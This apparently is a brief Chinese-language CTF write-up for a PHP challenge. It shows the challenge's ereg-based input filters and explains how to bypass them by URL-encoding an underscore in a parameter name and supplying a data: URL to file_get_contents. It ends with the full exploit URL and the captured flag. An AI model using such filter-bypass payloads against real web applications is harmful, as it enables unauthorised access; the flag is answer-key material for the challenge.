over 8 years ago
這題很好心有給 php 的 source code
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
?>
首先要想辦法送出 ^_^
在 GET 的參數並且繞過 ereg ('_', $_SERVER['QUERY_STRING'])
這部分用 urlencode 送 ^%5f^
就可以了
另外要想辦法讓 @file_get_contents ($_GET['^_^'])
的結果變成 (●'◡'●)
而且不能用 http, https, ftp, telnet, 本地檔案...等
看了看 php 官網的 manual 之後發現它支援 data-url,就成功繞過了 :P
最後的 url:
http://202.120.7.72:8888/index.php?^%5f^=data:text/plain,(%E2%97%8F%27%E2%97%A1%27%E2%97%8F)
Flag: ISG{_1N2N3N4N5N6B7B8B9B10B_}